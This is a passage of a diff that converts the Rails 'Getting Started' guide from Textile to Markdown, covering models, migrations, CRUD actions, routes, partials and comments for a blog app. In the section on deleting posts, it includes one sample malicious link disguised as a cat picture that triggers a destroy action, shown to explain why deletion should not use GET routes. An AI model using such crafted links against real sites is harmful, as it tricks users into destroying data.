-h4. Creating the Post model +### Creating the Post model Models in Rails use a singular name, and their corresponding database tables use a plural name. Rails provides a generator for creating models, which most Rails developers tend to use when creating new models. To create the new model, run this command in your terminal: -<shell> +```bash $ rails generate model Post title:string text:text -</shell> +``` -With that command we told Rails that we want a +Post+ model, together +With that command we told Rails that we want a `Post` model, together with a _title_ attribute of type string, and a _text_ attribute -of type text. Those attributes are automatically added to the +posts+ -table in the database and mapped to the +Post+ model. +of type text. Those attributes are automatically added to the `posts` +table in the database and mapped to the `Post` model. Rails responded by creating a bunch of files. For -now, we're only interested in +app/models/post.rb+ and -+db/migrate/20120419084633_create_posts.rb+ (your name could be a bit +now, we're only interested in `app/models/post.rb` and +`db/migrate/20120419084633_create_posts.rb` (your name could be a bit different). The latter is responsible for creating the database structure, which is what we'll look at next. @@ -446,20 +452,20 @@ model attributes, which means you don't have to declare attributes inside Rails models, as that will be done automatically by Active Record. -h4. Running a Migration +### Running a Migration -As we've just seen, +rails generate model+ created a _database -migration_ file inside the +db/migrate+ directory. +As we've just seen, `rails generate model` created a _database +migration_ file inside the `db/migrate` directory. Migrations are Ruby classes that are designed to make it simple to create and modify database tables. Rails uses rake commands to run migrations, and it's possible to undo a migration after it's been applied to your database. Migration filenames include a timestamp to ensure that they're processed in the order that they were created. -If you look in the +db/migrate/20120419084633_create_posts.rb+ file (remember, +If you look in the `db/migrate/20120419084633_create_posts.rb` file (remember, yours will have a slightly different name), here's what you'll find: -<ruby> +```ruby class CreatePosts < ActiveRecord::Migration def change create_table :posts do |t| @@ -470,98 +476,98 @@ class CreatePosts < ActiveRecord::Migration end end end -</ruby> +``` -The above migration creates a method named +change+ which will be called when you +The above migration creates a method named `change` which will be called when you run this migration. The action defined in this method is also reversible, which means Rails knows how to reverse the change made by this migration, in case you want to reverse it later. When you run this migration it will create a -+posts+ table with one string column and a text column. It also creates two +`posts` table with one string column and a text column. It also creates two timestamp fields to allow Rails to track post creation and update times. More information about Rails migrations can be found in the "Rails Database Migrations":migrations.html guide. At this point, you can use a rake command to run the migration: -<shell> +```bash $ rake db:migrate -</shell> +``` Rails will execute this migration command and tell you it created the Posts table. -<shell> +```bash == CreatePosts: migrating ==================================================== -- create_table(:posts) -> 0.0019s == CreatePosts: migrated (0.0020s) =========================================== -</shell> +``` NOTE. Because you're working in the development environment by default, this -command will apply to the database defined in the +development+ section of your -+config/database.yml+ file. If you would like to execute migrations in another +command will apply to the database defined in the `development` section of your +`config/database.yml` file. If you would like to execute migrations in another environment, for instance in production, you must explicitly pass it when -invoking the command: +rake db:migrate RAILS_ENV=production+. +invoking the command: `rake db:migrate RAILS_ENV=production`. -h4. Saving data in the controller +### Saving data in the controller -Back in +posts_controller+, we need to change the +create+ action -to use the new +Post+ model to save the data in the database. Open that file -and change the +create+ action to look like this: +Back in `posts_controller`, we need to change the `create` action +to use the new `Post` model to save the data in the database. Open that file +and change the `create` action to look like this: -<ruby> +```ruby def create @post = Post.new(params[:post]) @post.save redirect_to :action => :show, :id => @post.id end -</ruby> +``` Here's what's going on: every Rails model can be initialized with its respective attributes, which are automatically mapped to the respective database columns. In the first line we do just that (remember that -+params[:post]+ contains the attributes we're interested in). Then, -+@post.save+ is responsible for saving the model in the database. -Finally, we redirect the user to the +show+ action, +`params[:post]` contains the attributes we're interested in). Then, +`@post.save` is responsible for saving the model in the database. +Finally, we redirect the user to the `show` action, which we'll define later. -TIP: As we'll see later, +@post.save+ returns a boolean indicating +TIP: As we'll see later, `@post.save` returns a boolean indicating wherever the model was saved or not. -h4. Showing Posts +### Showing Posts If you submit the form again now, Rails will complain about not finding -the +show+ action. That's not very useful though, so let's add the -+show+ action before proceeding. Open +config/routes.rb+ and add the following route: +the `show` action. That's not very useful though, so let's add the +`show` action before proceeding. Open `config/routes.rb` and add the following route: -<ruby> +```ruby get "posts/:id" => "posts#show" -</ruby> +``` -The special syntax +:id+ tells rails that this route expects an +:id+ +The special syntax `:id` tells rails that this route expects an `:id` parameter, which in our case will be the id of the post. Note that this -time we had to specify the actual mapping, +posts#show+ because +time we had to specify the actual mapping, `posts#show` because otherwise Rails would not know which action to render. -As we did before, we need to add the +show+ action in the -+posts_controller+ and its respective view. +As we did before, we need to add the `show` action in the +`posts_controller` and its respective view. -<ruby> +```ruby def show @post = Post.find(params[:id]) end -</ruby> +``` -A couple of things to note. We use +Post.find+ to find the post we're -interested in. We also use an instance variable (prefixed by +@+) to +A couple of things to note. We use `Post.find` to find the post we're +interested in. We also use an instance variable (prefixed by `@`) to hold a reference to the post object. We do this because Rails will pass all instance variables to the view. -Now, create a new file +app/view/posts/show.html.erb+ with the following +Now, create a new file `app/view/posts/show.html.erb` with the following content: -<erb> +```html+erb <p> <strong>Title:</strong> <%= @post.title %> @@ -571,34 +577,34 @@ content: <strong>Text:</strong> <%= @post.text %> </p> -</erb> +``` Finally, if you now go to -"http://localhost:3000/posts/new":http://localhost:3000/posts/new you'll +[http://localhost:3000/posts/new](http://localhost:3000/posts/new) you'll be able to create a post. Try it! -!images/getting_started/show_action_for_posts.png(Show action for posts)! + -h4. Listing all posts +### Listing all posts We still need a way to list all our posts, so let's do that. As usual, -we'll need a route placed into +config/routes.rb+: +we'll need a route placed into `config/routes.rb`: -<ruby> +```ruby get "posts" => "posts#index" -</ruby> +``` -And an action for that route inside the +PostsController+ in the +app/controllers/posts_controller.rb+ file: +And an action for that route inside the `PostsController` in the `app/controllers/posts_controller.rb` file: -<ruby> +```ruby def index @posts = Post.all end -</ruby> +``` -And then finally a view for this action, located at +app/views/posts/index.html.erb+: +And then finally a view for this action, located at `app/views/posts/index.html.erb`: -<erb> +```html+erb <h1>Listing posts</h1> <table> @@ -614,45 +620,45 @@ And then finally a view for this action, located at +app/views/posts/index.html. </tr> <% end %> </table> -</erb> +``` -Now if you go to +http://localhost:3000/posts+ you will see a list of all the posts that you have created. +Now if you go to `http://localhost:3000/posts` you will see a list of all the posts that you have created. -h4. Adding links +### Adding links You can now create, show, and list posts. Now let's add some links to navigate through pages. -Open +app/views/welcome/index.html.erb+ and modify it as follows: +Open `app/views/welcome/index.html.erb` and modify it as follows: -<ruby> +```html+erb <h1>Hello, Rails!</h1> <%= link_to "My Blog", :controller => "posts" %> -</ruby> +``` -The +link_to+ method is one of Rails' built-in view helpers. It creates a +The `link_to` method is one of Rails' built-in view helpers. It creates a hyperlink based on text to display and where to go - in this case, to the path for posts. -Let's add links to the other views as well, starting with adding this "New Post" link to +app/views/posts/index.html.erb+, placing it above the +<table>+ tag: +Let's add links to the other views as well, starting with adding this "New Post" link to `app/views/posts/index.html.erb`, placing it above the `<table>` tag: -<erb> +```erb <%= link_to 'New post', :action => :new %> -</erb> +``` -This link will allow you to bring up the form that lets you create a new post. You should also add a link to this template -- +app/views/posts/new.html.erb+ -- to go back to the +index+ action. Do this by adding this underneath the form in this template: +This link will allow you to bring up the form that lets you create a new post. You should also add a link to this template -- `app/views/posts/new.html.erb` -- to go back to the `index` action. Do this by adding this underneath the form in this template: -<erb> +```erb <%= form_for :post do |f| %> ... <% end %> <%= link_to 'Back', :action => :index %> -</erb> +``` -Finally, add another link to the +app/views/posts/show.html.erb+ template to go back to the +index+ action as well, so that people who are viewing a single post can go back and view the whole list again: +Finally, add another link to the `app/views/posts/show.html.erb` template to go back to the `index` action as well, so that people who are viewing a single post can go back and view the whole list again: -<erb> +```html+erb <p> <strong>Title:</strong> <%= @post.title %> @@ -664,72 +670,71 @@ Finally, add another link to the +app/views/posts/show.html.erb+ template to go </p> <%= link_to 'Back', :action => :index %> -</erb> +``` TIP: If you want to link to an action in the same controller, you don't -need to specify the +:controller+ option, as Rails will use the current +need to specify the `:controller` option, as Rails will use the current controller by default. TIP: In development mode (which is what you're working in by default), Rails reloads your application with every browser request, so there's no need to stop and restart the web server when a change is made. -h4. Allowing the update of fields +### Allowing the update of fields -The model file, +app/models/post.rb+ is about as simple as it can get: +The model file, `app/models/post.rb` is about as simple as it can get: -<ruby> +```ruby class Post < ActiveRecord::Base end -</ruby> +``` -There isn't much to this file - but note that the +Post+ class inherits from -+ActiveRecord::Base+. Active Record supplies a great deal of functionality to +There isn't much to this file - but note that the `Post` class inherits from +`ActiveRecord::Base`. Active Record supplies a great deal of functionality to your Rails models for free, including basic database CRUD (Create, Read, Update, Destroy) operations, data validation, as well as sophisticated search support and the ability to relate multiple models to one another. Rails includes methods to help you secure some of your model fields. -Open the +app/models/post.rb+ file and edit it: +Open the `app/models/post.rb` file and edit it: -<ruby> +```ruby class Post < ActiveRecord::Base attr_accessible :text, :title end -</ruby> +``` This change will ensure that all changes made through HTML forms can edit the content of the text and title fields. It will not be possible to define any other field value through forms. You can still define them by calling the `field=` method of course. -Accessible attributes and the mass assignment problem is covered in details in the "Security guide":security.html#mass-assignment +Accessible attributes and the mass assignment problem is covered in details in the [Security guide](security.html#mass-assignment) -h4. Adding Some Validation +### Adding Some Validation Rails includes methods to help you validate the data that you send to models. -Open the +app/models/post.rb+ file and edit it: +Open the `app/models/post.rb` file and edit it: -<ruby> +```ruby class Post < ActiveRecord::Base attr_accessible :text, :title validates :title, :presence => true, :length => { :minimum => 5 } end -</ruby> +``` These changes will ensure that all posts have a title that is at least five characters long. Rails can validate a variety of conditions in a model, including the presence or uniqueness of columns, their format, and the existence of associated objects. Validations are covered in detail -in "Active Record Validations and -Callbacks":active_record_validations_callbacks.html#validations-overview +in [Active Record Validations and Callbacks](active_record_validations_callbacks.html#validations-overview) -With the validation now in place, when you call +@post.save+ on an invalid -post, it will return +false+. If you open +app/controllers/posts_controller.rb+ -again, you'll notice that we don't check the result of calling +@post.save+ -inside the +create+ action. If +@post.save+ fails in this situation, we need to -show the form back to the user. To do this, change the +new+ and +create+ -actions inside +app/controllers/posts_controller.rb+ to these: +With the validation now in place, when you call `@post.save` on an invalid +post, it will return `false`. If you open `app/controllers/posts_controller.rb` +again, you'll notice that we don't check the result of calling `@post.save` +inside the `create` action. If `@post.save` fails in this situation, we need to +show the form back to the user. To do this, change the `new` and `create` +actions inside `app/controllers/posts_controller.rb` to these: -<ruby> +```ruby def new @post = Post.new end @@ -743,27 +748,27 @@ def create render 'new' end end -</ruby> +``` -The +new+ action is now creating a new instance variable called +@post+, and +The `new` action is now creating a new instance variable called `@post`, and you'll see why that is in just a few moments. -Notice that inside the +create+ action we use +render+ instead of +redirect_to+ when +save+ -returns +false+. The +render+ method is used so that the +@post+ object is passed back to the +new+ template when it is rendered. This rendering is done within the same request as the form submission, whereas the +redirect_to+ will tell the browser to issue another request. +Notice that inside the `create` action we use `render` instead of `redirect_to` when `save` +returns `false`. The `render` method is used so that the `@post` object is passed back to the `new` template when it is rendered. This rendering is done within the same request as the form submission, whereas the `redirect_to` will tell the browser to issue another request. If you reload -"http://localhost:3000/posts/new":http://localhost:3000/posts/new and +[http://localhost:3000/posts/new](http://localhost:3000/posts/new) and try to save a post without a title, Rails will send you back to the form, but that's not very useful. You need to tell the user that something went wrong. To do that, you'll modify -+app/views/posts/new.html.erb+ to check for error messages: +`app/views/posts/new.html.erb` to check for error messages: -<erb> +```html+erb <%= form_for :post, :url => { :action => :create } do |f| %> <% if @post.errors.any? %> <div id="errorExplanation"> <h2><%= pluralize(@post.errors.count, "error") %> prohibited - this post from being saved:</h2> + this post from being saved:</h2> <ul> <% @post.errors.full_messages.each do |msg| %> <li><%= msg %></li> @@ -787,55 +792,55 @@ something went wrong. To do that, you'll modify <% end %> <%= link_to 'Back', :action => :index %> -</erb> +``` A few things are going on. We check if there are any errors with -+@post.errors.any?+, and in that case we show a list of all -errors with +@post.errors.full_messages+. +`@post.errors.any?`, and in that case we show a list of all +errors with `@post.errors.full_messages`. -+pluralize+ is a rails helper that takes a number and a string as its +`pluralize` is a rails helper that takes a number and a string as its arguments. If the number is greater than one, the string will be automatically pluralized. -The reason why we added +@post = Post.new+ in +posts_controller+ is that -otherwise +@post+ would be +nil+ in our view, and calling -+@post.errors.any?+ would throw an error. +The reason why we added `@post = Post.new` in `posts_controller` is that +otherwise `@post` would be `nil` in our view, and calling +`@post.errors.any?` would throw an error. TIP: Rails automatically wraps fields that contain an error with a div -with class +field_with_errors+. You can define a css rule to make them +with class `field_with_errors`. You can define a css rule to make them standout. Now you'll get a nice error message when saving a post without title when you -attempt to do just that on the "new post form(http://localhost:3000/posts/new)":http://localhost:3000/posts/new. +attempt to do just that on the [new post form (http://localhost:3000/posts/new)](http://localhost:3000/posts/new). -!images/getting_started/form_with_errors.png(Form With Errors)! + -h4. Updating Posts +### Updating Posts We've covered the "CR" part of CRUD. Now let's focus on the "U" part, updating posts. -The first step we'll take is adding a +edit+ action to -+posts_controller+. +The first step we'll take is adding a `edit` action to +`posts_controller`. -Start by adding a route to +config/routes.rb+: +Start by adding a route to `config/routes.rb`: -<ruby> +```ruby get "posts/:id/edit" => "posts#edit" -</ruby> +``` And then add the controller action: -<ruby> +```ruby def edit @post = Post.find(params[:id]) end -</ruby> +``` The view will contain a form similar to the one we used when creating -new posts. Create a file called +app/views/posts/edit.html.erb+ and make +new posts. Create a file called `app/views/posts/edit.html.erb` and make it look as follows: -<erb> +```html+erb <h1>Editing post</h1> <%= form_for :post, :url => { :action => :update, :id => @post.id }, @@ -843,7 +848,7 @@ it look as follows: <% if @post.errors.any? %> <div id="errorExplanation"> <h2><%= pluralize(@post.errors.count, "error") %> prohibited - this post from being saved:</h2> + this post from being saved:</h2> <ul> <% @post.errors.full_messages.each do |msg| %> <li><%= msg %></li> @@ -867,27 +872,27 @@ it look as follows: <% end %> <%= link_to 'Back', :action => :index %> -</erb> +``` -This time we point the form to the +update+ action, which is not defined yet +This time we point the form to the `update` action, which is not defined yet but will be very soon. -The +:method => :put+ option tells Rails that we want this form to be -submitted via the +PUT+, HTTP method which is the HTTP method you're expected to use to -*update* resources according to the REST protocol. +The `:method => :put` option tells Rails that we want this form to be +submitted via the `PUT`, HTTP method which is the HTTP method you're expected to use to +**update** resources according to the REST protocol. -TIP: By default forms built with the +form_for_ helper are sent via +POST+. +TIP: By default forms built with the +form_for_ helper are sent via `POST`. -Next, we need to add the +update+ action. The file -+config/routes.rb+ will need just one more line: +Next, we need to add the `update` action. The file +`config/routes.rb` will need just one more line: -<ruby> +```ruby put "posts/:id" => "posts#update" -</ruby> +``` -And then create the +update+ action in +app/controllers/posts_controller.rb+: +And then create the `update` action in `app/controllers/posts_controller.rb`: -<ruby> +```ruby def update @post = Post.find(params[:id]) @@ -897,24 +902,23 @@ def update render 'edit' end end -</ruby> +``` -The new method, +update_attributes+, is used when you want to update a record +The new method, `update_attributes`, is used when you want to update a record that already exists, and it accepts a hash containing the attributes that you want to update. As before, if there was an error updating the post we want to show the form back to the user. -TIP: you don't need to pass all attributes to +update_attributes+. For -example, if you'd call +@post.update_attributes(:title => 'A new title')+ -Rails would only update the +title+ attribute, leaving all other +TIP: you don't need to pass all attributes to `update_attributes`. For +example, if you'd call `@post.update_attributes(:title => 'A new title')` +Rails would only update the `title` attribute, leaving all other attributes untouched. -Finally, we want to show a link to the +edit+ action in the list of all the -posts, so let's add that now to +app/views/posts/index.html.erb+ to make it +Finally, we want to show a link to the `edit` action in the list of all the +posts, so let's add that now to `app/views/posts/index.html.erb` to make it appear next to the "Show" link: -<erb> - +```html+erb <table> <tr> <th>Title</th> @@ -932,31 +936,29 @@ appear next to the "Show" link: </tr> <% end %> </table> -</erb> +``` -And we'll also add one to the +app/views/posts/show.html.erb+ template as well, +And we'll also add one to the `app/views/posts/show.html.erb` template as well, so that there's also an "Edit" link on a post's page. Add this at the bottom of the template: -<erb> +```html+erb ... - <%= link_to 'Back', :action => :index %> | <%= link_to 'Edit', :action => :edit, :id => @post.id %> -</erb> +``` And here's how our app looks so far: -!images/getting_started/index_action_with_edit_link.png(Index action -with edit link)! + -h4. Using partials to clean up duplication in views +### Using partials to clean up duplication in views -+partials+ are what Rails uses to remove duplication in views. Here's a +`partials` are what Rails uses to remove duplication in views. Here's a simple example: -<erb> +```html+erb # app/views/user/show.html.erb <h1><%= @user.name %></h1> @@ -968,24 +970,24 @@ simple example: <%= @user.location %> <%= @user.about_me %> -</erb> +``` -The +users/show+ template will automatically include the content of the -+users/_user_details+ template. Note that partials are prefixed by an underscore, +The `users/show` template will automatically include the content of the +`users/_user_details` template. Note that partials are prefixed by an underscore, as to not be confused with regular views. However, you don't include the -underscore when including them with the +helper+ method. +underscore when including them with the `helper` method. -TIP: You can read more about partials in the "Layouts and Rendering in -Rails":layouts_and_rendering.html guide. +TIP: You can read more about partials in the +[Layouts and Rendering in Rails](layouts_and_rendering.html) guide. -Our +edit+ action looks very similar to the +new+ action, in fact they +Our `edit` action looks very similar to the `new` action, in fact they both share the same code for displaying the form. Lets clean them up by using a partial. -Create a new file +app/views/posts/_form.html.erb+ with the following +Create a new file `app/views/posts/_form.html.erb` with the following content: -<erb> +```html+erb <%= form_for @post do |f| %> <% if @post.errors.any? %> <div id="errorExplanation"> @@ -1012,56 +1014,55 @@ content: <%= f.submit %> </p> <% end %> -</erb> +``` -Everything except for the +form_for+ declaration remained the same. -How +form_for+ can figure out the right +action+ and +method+ attributes +Everything except for the `form_for` declaration remained the same. +How `form_for` can figure out the right `action` and `method` attributes when building the form will be explained in just a moment. For now, let's update the -+app/views/posts/new.html.erb+ view to use this new partial, rewriting it +`app/views/posts/new.html.erb` view to use this new partial, rewriting it completely: -<erb> +```html+erb <h1>New post</h1> <%= render 'form' %> <%= link_to 'Back', :action => :index %> -</erb> +``` -Then do the same for the +app/views/posts/edit.html.erb+ view: +Then do the same for the `app/views/posts/edit.html.erb` view: -<erb> +```html+erb <h1>Edit post</h1> <%= render 'form' %> <%= link_to 'Back', :action => :index %> -</erb> +``` -Point your browser to "http://localhost:3000/posts/new":http://localhost:3000/posts/new and +Point your browser to [http://localhost:3000/posts/new](http://localhost:3000/posts/new) and try creating a new post. Everything still works. Now try editing the post and you'll receive the following error: -!images/getting_started/undefined_method_post_path.png(Undefined method -post_path)! + -To understand this error, you need to understand how +form_for+ works. -When you pass an object to +form_for+ and you don't specify a +:url+ -option, Rails will try to guess the +action+ and +method+ options by +To understand this error, you need to understand how `form_for` works. +When you pass an object to `form_for` and you don't specify a `:url` +option, Rails will try to guess the `action` and `method` options by checking if the passed object is a new record or not. Rails follows the -REST convention, so to create a new +Post+ object it will look for a -route named +posts_path+, and to update a +Post+ object it will look for -a route named +post_path+ and pass the current object. Similarly, rails +REST convention, so to create a new `Post` object it will look for a +route named `posts_path`, and to update a `Post` object it will look for +a route named `post_path` and pass the current object. Similarly, rails knows that it should create new objects via POST and update them via PUT. -If you run +rake routes+ from the console you'll see that we already -have a +posts_path+ route, which was created automatically by Rails when we +If you run `rake routes` from the console you'll see that we already +have a `posts_path` route, which was created automatically by Rails when we defined the route for the index action. -However, we don't have a +post_path+ yet, which is the reason why we +However, we don't have a `post_path` yet, which is the reason why we received an error before. -<shell> +```bash # rake routes posts GET /posts(.:format) posts#index @@ -1071,63 +1072,63 @@ posts_new GET /posts/new(.:format) posts#new GET /posts/:id/edit(.:format) posts#edit PUT /posts/:id(.:format) posts#update root / welcome#index -</shell> +``` -To fix this, open +config/routes.rb+ and modify the +get "posts/:id"+ +To fix this, open `config/routes.rb` and modify the `get "posts/:id"` line like this: -<ruby> +```ruby get "posts/:id" => "posts#show", :as => :post -</ruby> +``` -The +:as+ option tells the +get+ method that we want to make routing helpers -called +post_url+ and +post_path+ available to our application. These are -precisely the methods that the +form_for+ needs when editing a post, and so now +The `:as` option tells the `get` method that we want to make routing helpers +called `post_url` and `post_path` available to our application. These are +precisely the methods that the `form_for` needs when editing a post, and so now you'll be able to update posts again. -NOTE: The +:as+ option is available on the +post+, +put+, +delete+ and +match+ +NOTE: The `:as` option is available on the `post`, `put`, `delete` and `match` routing methods also. -h4. Deleting Posts +### Deleting Posts We're now ready to cover the "D" part of CRUD, deleting posts from the database. Following the REST convention, we're going to add a route for -deleting posts to +config/routes.rb+: +deleting posts to `config/routes.rb`: -<ruby> +```ruby delete "posts/:id" => "posts#destroy" -</ruby> +``` -The +delete+ routing method should be used for routes that destroy -resources. If this was left as a typical +get+ route, it could be possible for +The `delete` routing method should be used for routes that destroy +resources. If this was left as a typical `get` route, it could be possible for people to craft malicious URLs like this: -<html> +```html <a href='http://yoursite.com/posts/1/destroy'>look at this cat!</a> -</html> +``` -We use the +delete+ method for destroying resources, and this route is mapped to -the +destroy+ action inside +app/controllers/posts_controller.rb+, which doesn't exist yet, but is +We use the `delete` method for destroying resources, and this route is mapped to +the `destroy` action inside `app/controllers/posts_controller.rb`, which doesn't exist yet, but is provided below: -<ruby> +```ruby def destroy @post = Post.find(params[:id]) @post.destroy redirect_to :action => :index end -</ruby> +``` -You can call +destroy+ on Active Record objects when you want to delete +You can call `destroy` on Active Record objects when you want to delete them from the database. Note that we don't need to add a view for this -action since we're redirecting to the +index+ action. +action since we're redirecting to the `index` action. -Finally, add a 'destroy' link to your +index+ action template -(+app/views/posts/index.html.erb) to wrap everything +Finally, add a 'destroy' link to your `index` action template +(`app/views/posts/index.html.erb`) to wrap everything together. -<erb> +```html+erb <h1>Listing Posts</h1> <table> <tr> @@ -1148,31 +1149,31 @@ together. </tr> <% end %> </table> -</erb> +``` -Here we're using +link_to+ in a different way. We wrap the -+:action+ and +:id+ attributes in a hash so that we can pass those two keys in -first as one argument, and then the final two keys as another argument. The +:method+ and +:'data-confirm'+ +Here we're using `link_to` in a different way. We wrap the +`:action` and `:id` attributes in a hash so that we can pass those two keys in +first as one argument, and then the final two keys as another argument. The `:method` and `:'data-confirm'` options are used as HTML5 attributes so that when the link is clicked, -Rails will first show a confirm dialog to the user, and then submit the link with method +delete+. -This is done via the JavaScript file +jquery_ujs+ which is automatically included -into your application's layout (+app/views/layouts/application.html.erb+) when you +Rails will first show a confirm dialog to the user, and then submit the link with method `delete`. +This is done via the JavaScript file `jquery_ujs` which is automatically included +into your application's layout (`app/views/layouts/application.html.erb`) when you generated the application. Without this file, the confirmation dialog box wouldn't appear. -!images/getting_started/confirm_dialog.png(Confirm Dialog)! + Congratulations, you can now create, show, list, update and destroy posts. In the next section will see how Rails can aid us when creating REST applications, and how we can refactor our Blog app to take advantage of it. -h4. Going Deeper into REST +### Going Deeper into REST We've now covered all the CRUD actions of a REST app. We did so by declaring separate routes with the appropriate verbs into -+config/routes.rb+. Here's how that file looks so far: +`config/routes.rb`. Here's how that file looks so far: -<ruby> +```ruby get "posts" => "posts#index" get "posts/new" post "posts" => "posts#create" @@ -1180,26 +1181,26 @@ get "posts/:id" => "posts#show", :as => :post get "posts/:id/edit" => "posts#edit" put "posts/:id" => "posts#update" delete "posts/:id" => "posts#destroy" -</ruby> +``` -That's a lot to type for covering a single *resource*. Fortunately, -Rails provides a +resources+ method which can be used to declare a -standard REST resource. Here's how +config/routes.rb+ looks after the +That's a lot to type for covering a single **resource**. Fortunately, +Rails provides a `resources` method which can be used to declare a +standard REST resource. Here's how `config/routes.rb` looks after the cleanup: -<ruby> +```ruby Blog::Application.routes.draw do resources :posts root :to => "welcome#index" end -</ruby> +``` -If you run +rake routes+, you'll see that all the routes that we +If you run `rake routes`, you'll see that all the routes that we declared before are still available: -<shell> +```bash # rake routes posts GET /posts(.:format) posts#index POST /posts(.:format) posts#create @@ -1209,7 +1210,7 @@ edit_post GET /posts/:id/edit(.:format) posts#edit PUT /posts/:id(.:format) posts#update DELETE /posts/:id(.:format) posts#destroy root / welcome#index -</shell> +``` Also, if you go through the motions of creating, updating and deleting posts the app still works as before. @@ -1217,48 +1218,50 @@ posts the app still works as before. TIP: In general, Rails encourages the use of resources objects in place of declaring routes manually. It was only done in this guide as a learning exercise. For more information about routing, see -"Rails Routing from the Outside In":routing.html. +[Rails Routing from the Outside In](routing.html). -h3. Adding a Second Model +Adding a Second Model +--------------------- It's time to add a second model to the application. The second model will handle comments on posts. -h4. Generating a Model +### Generating a Model We're going to see the same generator that we used before when creating -the +Post+ model. This time we'll create a +Comment+ model to hold +the `Post` model. This time we'll create a `Comment` model to hold reference of post comments. Run this command in your terminal: -<shell> +```bash $ rails generate model Comment commenter:string body:text post:references -</shell> +``` This command will generate four files: -|_.File |_.Purpose| -|db/migrate/20100207235629_create_comments.rb | Migration to create the comments table in your database (your name will include a different timestamp) | -| app/models/comment.rb | The Comment model | -| test/unit/comment_test.rb | Unit testing harness for the comments model | -| test/fixtures/comments.yml | Sample comments for use in testing | +| File | Purpose | +| -------------------------------------------- | ------------------------------------------------------------------------------------------------------ | +| db/migrate/20100207235629_create_comments.rb | Migration to create the comments table in your database (your name will include a different timestamp) | +| app/models/comment.rb | The Comment model | +| test/unit/comment_test.rb | Unit testing harness for the comments model | +| test/fixtures/comments.yml | Sample comments for use in testing | -First, take a look at +comment.rb+: +First, take a look at `comment.rb`: -<ruby> +```ruby class Comment < ActiveRecord::Base belongs_to :post attr_accessible :body, :commenter end -</ruby> +``` -This is very similar to the +post.rb+ model that you saw earlier. The difference -is the line +belongs_to :post+, which sets up an Active Record _association_. +This is very similar to the `post.rb` model that you saw earlier. The difference +is the line `belongs_to :post`, which sets up an Active Record _association_. You'll learn a little about associations in the next section of this guide. In addition to the model, Rails has also made a migration to create the corresponding database table: -<ruby> +```ruby class CreateComments < ActiveRecord::Migration def change create_table :comments do |t| @@ -1272,29 +1275,29 @@ class CreateComments < ActiveRecord::Migration add_index :comments, :post_id end end -</ruby> +``` -The +t.references+ line sets up a foreign key column for the association between -the two models. And the +add_index+ line sets up an index for this association +The `t.references` line sets up a foreign key column for the association between +the two models. And the `add_index` line sets up an index for this association column. Go ahead and run the migration: -<shell> +```bash $ rake db:migrate -</shell> +``` Rails is smart enough to only execute the migrations that have not already been run against the current database, so in this case you will just see: -<shell> +```bash == CreateComments: migrating ================================================= -- create_table(:comments) -> 0.0008s -- add_index(:comments, :post_id) -> 0.0003s == CreateComments: migrated (0.0012s) ======================================== -</shell> +``` -h4. Associating Models +### Associating Models Active Record associations let you easily declare the relationship between two models. In the case of comments and posts, you could write out the relationships @@ -1307,61 +1310,62 @@ In fact, this is very close to the syntax that Rails uses to declare this association. You've already seen the line of code inside the Comment model that makes each comment belong to a Post: -<ruby> +```ruby class Comment < ActiveRecord::Base belongs_to :post end -</ruby> +``` -You'll need to edit the +post.rb+ file to add the other side of the association: +You'll need to edit the `post.rb` file to add the other side of the association: -<ruby> +```ruby class Post < ActiveRecord::Base validates :title, :presence => true, :length => { :minimum => 5 } has_many :comments end -</ruby> +``` These two declarations enable a good bit of automatic behavior. For example, if -you have an instance variable +@post+ containing a post, you can retrieve all -the comments belonging to that post as an array using +@post.comments+. +you have an instance variable `@post` containing a post, you can retrieve all +the comments belonging to that post as an array using `@post.comments`. TIP: For more information on Active Record associations, see the "Active Record Associations":association_basics.html guide. -h4. Adding a Route for Comments +### Adding a Route for Comments -As with the +welcome+ controller, we will need to add a route so that Rails knows -where we would like to navigate to see +comments+. Open up the -+config/routes.rb+ file again, and edit it as follows: +As with the `welcome` controller, we will need to add a route so that Rails knows +where we would like to navigate to see `comments`. Open up the +`config/routes.rb` file again, and edit it as follows: -<ruby> +```ruby resources :posts do resources :comments end -</ruby> +``` -This creates +comments+ as a _nested resource_ within +posts+. This is another +This creates `comments` as a _nested resource_ within `posts`. This is another part of capturing the hierarchical relationship that exists between posts and comments. TIP: For more information on routing, see the "Rails Routing from the Outside In":routing.html guide. -h4. Generating a Controller +### Generating a Controller With the model in hand, you can turn your attention to creating a matching controller. Again, we'll use the same generator we used before: -<shell> +```bash $ rails generate controller Comments -</shell> +``` This creates six files and one empty directory: -|_.File/Directory |_.Purpose | +| File/Directory | Purpose | +| ------------------------------------------- | ---------------------------------------- | | app/controllers/comments_controller.rb | The Comments controller | | app/views/comments/ | Views of the controller are stored here | | test/functional/comments_controller_test.rb | The functional tests for the controller | @@ -1373,13 +1377,13 @@ This creates six files and one empty directory: Like with any blog, our readers will create their comments directly after reading the post, and once they have added their comment, will be sent back to the post show page to see their comment now listed. Due to this, our -+CommentsController+ is there to provide a method to create comments and delete +`CommentsController` is there to provide a method to create comments and delete spam comments when they arrive. So first, we'll wire up the Post show template -(+/app/views/posts/show.html.erb+) to let us make a new comment: +(`/app/views/posts/show.html.erb`) to let us make a new comment: -<erb> +```html+erb <p> <strong>Title:</strong> <%= @post.title %> @@ -1407,15 +1411,15 @@ So first, we'll wire up the Post show template <%= link_to 'Edit Post', edit_post_path(@post) %> | <%= link_to 'Back to Posts', posts_path %> -</erb> +``` -This adds a form on the +Post+ show page that creates a new comment by -calling the +CommentsController+ +create+ action. The +form_for+ call here uses -an array, which will build a nested route, such as +/posts/1/comments+. +This adds a form on the `Post` show page that creates a new comment by +calling the `CommentsController` `create` action. The `form_for` call here uses +an array, which will build a nested route, such as `/posts/1/comments`. -Let's wire up the +create+: +Let's wire up the `create`: -<ruby> +```ruby class CommentsController < ApplicationController def create @post = Post.find(params[:post_id]) @@ -1423,25 +1427,25 @@ class CommentsController < ApplicationController redirect_to post_path(@post) end end -</ruby> +``` You'll see a bit more complexity here than you did in the controller for posts. That's a side-effect of the nesting that you've set up. Each request for a comment has to keep track of the post to which the comment is attached, thus the -initial call to the +find+ method of the +Post+ model to get the post in question. +initial call to the `find` method of the `Post` model to get the post in question. In addition, the code takes advantage of some of the methods available for an -association. We use the +create+ method on +@post.comments+ to create and save +association. We use the `create` method on `@post.comments` to create and save the comment. This will automatically link the comment so that it belongs to that particular post. Once we have made the new comment, we send the user back to the original post -using the +post_path(@post)+ helper. As we have already seen, this calls the -+show+ action of the +PostsController+ which in turn renders the +show.html.erb+ +using the `post_path(@post)` helper. As we have already seen, this calls the +`show` action of the `PostsController` which in turn renders the `show.html.erb` template. This is where we want the comment to show, so let's add that to the 